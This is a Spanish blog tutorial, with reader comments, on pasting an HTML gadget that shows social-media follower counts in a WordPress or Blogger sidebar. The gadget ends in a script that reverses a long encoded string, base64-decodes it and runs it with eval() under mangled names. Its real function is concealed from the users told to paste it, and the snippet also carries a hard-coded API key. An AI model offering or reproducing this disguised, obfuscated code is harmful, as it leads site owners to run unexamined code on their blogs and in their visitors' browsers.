La presencia de los perfiles vinculados a nuestros blogs se ha convertido en una gran ventaja para conseguir visitas y usuarios a nuestro blog a traves de las redes sociales. Existen muchas formas de agregar un widget o gadget de perfiles sociales en el sidebar de nuestro blog para que sea accesible para todos nuestros usuarios, pero quiero compartir este en particular porque ademas de ser muy sencillo de instalar es muy elegante y minimalista.
La instalacion del script se agrega en un solo gadget HTML y funciona tanto para WordPress, Blogger u otra plataforma que te permita agregar un codigo HTML en el theme.
La Instalacion
Ahora lo que vamos a hacer es agregar un Widget HTML y pegamos el siguiente codigo:
<div class=”arqam-widget-counter arq-flat arq-col3″>
<ul>
<li class=”arq-facebook”>
<a href=”URL DE TU FACEBOOK” target=”_blank”>
<i class=”arqicon-facebook”></i>
<span class=”share__count”></span>
<small>Seguidores</small>
</a>
</li>
<li class=”arq-twitter”>
<a href=”URL DE TU TWITTER” target=”_blank”>
<i class=”arqicon-twitter”></i>
<span class=”tshare__count”></span>
<small>Seguidores</small>
</a>
</li>
<li class=”arq-google”>
<a href=”URL DE TU GOOGLE+” target=”_blank”>
<i class=”arqicon-gplus”></i>
<span class=”gshare__count”></span>
<small>Seguidores</small>
</a>
</li>
</ul>
</div><link href=’https://googledrive.com/host/0B0LTexRNPYFjQTRiV290Umo4bm8/arqam.css’ rel=’stylesheet’ type=’text/css’ />
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js” type=”text/javascript”></script>
<script type=”text/javascript”>
var f_page = ‘TU NOMBRE DE USUARIO DE FACEBOOK’;
var t_page = ‘TU NOMBRE DE USUARIO DE TWITTER‘;
var g_page = ‘+TU NOMBRE DE USUARIO DE GOOGLE+‘;
var g_key = ‘AIzaSyDV4Tsar8AblExfmdCt5E8mEPWuLtF_cP0′;
var I1l=’==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kCMwkEKkxWaoNEZuVGcwFmLwAzTKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIwAzTgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuUGdhN2c1ZmYvlXbukGch9yL6AHd0h2Jg0DIjJ3cuADMJpwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ACMwkEIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJEdTJBBTJwITJwITJCNTJ5ITJEdTJBBTJCNTJ5ITJ05WdvN2XfVmchh2cnhjMlwWb0hmL5ITJ3ITJ05WdvN2XfVmchh2cn5yNyUCOyUCNyUSQwUiQzUCR1UyNyUCduV3bDVmbPNXdsB3NyUiQ1USY0FGZwITJENTJwITJ05WdvN2XfVmchh2cnFEMlI0NlAjMlkjMlEGdhRGOyUibvlGdj5WdmBjMlMkMlcjMlY0MlQ0Mls2YhJGbsF2Y2ITJ3ITJrkXZr91ZrcjMlQ0MlkXZrZ0MlcjMlsSZnFGcfd2K3ITJvUGbw9WZw9SM29yc1xGcv02bj5ycpBXYlx2Zv92Zuc3d39yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0MlkjMlQ0NlEEMlI0MlkjMlQnb192Yf9VZyFGazRHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGazRnL3ITJ4ITJ0ITJBBTJCNTJEVTJ3ITJ05WdvN2XzJXZ39Gbs9mZ3ITJCVTJhRXYkBjMlQ0MlAjMlQnb192Yf9VZyFGazRXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZjMlcjMlsSZnFGcfR3K3ITJENTJl1WYu9lblVmcjNnRzUibvNnauc3boN3LzJXZzV3Lx8SbvNmLyVGd0l2d05SawFmLuR2Yv8SQzUCc0RHa3ITJ4ITJO90UKRXZn5CNyUSQwUiQzUSOyUCR3USQwUiQzUSOyUCduV3bj91XlJXYoNHOyUCbtRHaukjMlcjMlQnb192Yf9VZyFGaz5yNyUCOyUCNyUSQwUiQzUCR1UyNyUycltWasdjMlIUNlEGdhRGMyUCRzUCMyUCduV3bj91XlJXYoNHMyUichZXQwUiQ3UCMyUSOyUSY0FGZ4ITJu9Wa0Nmb1ZGMyUyQyUyNyUiRzUCRzUyajFmYsxWYjZ0MlcjMlsSZnFGcfZ2K3ITJv02bj5yav9mYlNWYm5CawFmcn9yLBNTJzBHd0h2NyUCOyUiTPNlS0V2ZuQjMlEEMlI0NlkjMlgjMl42bpR3YuVnZ4ITJ5RWYlJnL5ITJ05WZtV3YvRGOyUCNyUSRzUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd’;var _0x84de=[“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”,””,”charAt”,”indexOf”,”fromCharCode”,”length”];function _0Ol(data){var OOIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OOIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OOI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i–){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(_0Ol(OOI(I1l)));
</script>
Vamos a sustituir los textos o valores marcados en color rojo por nuestros perfiles sociales y listo.
Fácil,no?
Fuente: Miltrucosblogger
6 Comments
Hola, gracias por el tutorial, es muy bueno. La unica cosa que he cambiado fue el enlace hacia el fichero css de google drive. He puesto el codigo directamente en mi web para eliminar un documento mas que puede aumentar el tiempo de garga de mis paginas. El script funciona bien.
Saludos
Perfecto!
Si, claro que puedes modificar el codigo principalmente las rutas de los archivos.
Se ven bastante bien, a probar por que eso de estar utilizando plugins es inseguro y meten otros enlaces terceros.
Hola, gracias por el tutorial! Pero tengo un problema, al hacer todo el proceso sólo se quedan los links que dicen ”seguidores” y no aparecen los iconos. ¿Cómo puedo hacer que me aparezcan? Utilizo Blogger. Gracias de antemano.
hola Laly
has revisado bien el codigo? Cual es el blog donde has tratado de instalarlo, debe de funcionar para Blogger.
saludos!
hola amigo me salen los cuadros pero no aparecen los seguidores que tengo porque?